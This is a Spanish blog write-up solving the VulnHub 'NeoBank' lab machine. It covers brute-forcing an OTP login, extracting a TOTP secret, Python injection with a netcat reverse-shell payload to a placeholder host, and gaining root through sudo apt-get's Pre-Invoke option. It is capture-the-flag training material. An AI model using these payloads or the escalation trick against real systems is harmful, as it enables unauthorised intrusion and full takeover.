viernes, 5 de agosto de 2022

Breaking NEOBANK

HTTPS://WWW.VULNHUB.COM/ENTRY/NEOBANK-1,642/

- solo tenemos abierto el puerto 5000 --> apunta a servidor python flask

- fuzzeamos y encontramos: LOGIN,LOGOUT, QR,OTP,WITHDRAW,EMAILS_LIST

- parece orientado a bruteforcear el login con alguno de los emails. Dado que la pass es un código otp hablamos de 1000000 de números aunque podemos empezar filtrando el diccionario rockyou para extraer las passwords que sean números de 6 dígitos. Se hace con Burp y sale rápidamente para zeus (hay que hacerlo lentamente y este es el problema, si no se bloquea la máquina). Y hay que analizar sobre todo la cookie en base64. Por longitud sale rápidamente que hemos logueado. 

- una vez dentro nos pide factor 2f de autenticación (/otp) pero necesitamos el secreto. Usando /qr obtenemos el código qr que incluye el secreto y generamos el 2f: 

python -c 'import pyotp;totp = pyotp.TOTP("secreto");print(totp.now())'

- Con eso accedemos a la página withdraw donde parece que está el punto de inyección. Probamos si es vulnerable (7*7) y procedemos: 

__import__('os').system('nc your_ip port -e /bin/sh') (urlencodear)


- desde el shell reverse leemos el archivo main.py y con las credenciales mysql accedemos a los usuarios y nos encontramos con la contraseña de banker

- su banker + passwd, sudo -l y

User banker may run the following commands on neobank:
    (ALL) NOPASSWD: /usr/bin/apt-get
banker@neobank:/var/www/html$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
<apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)



No hay comentarios:

Publicar un comentario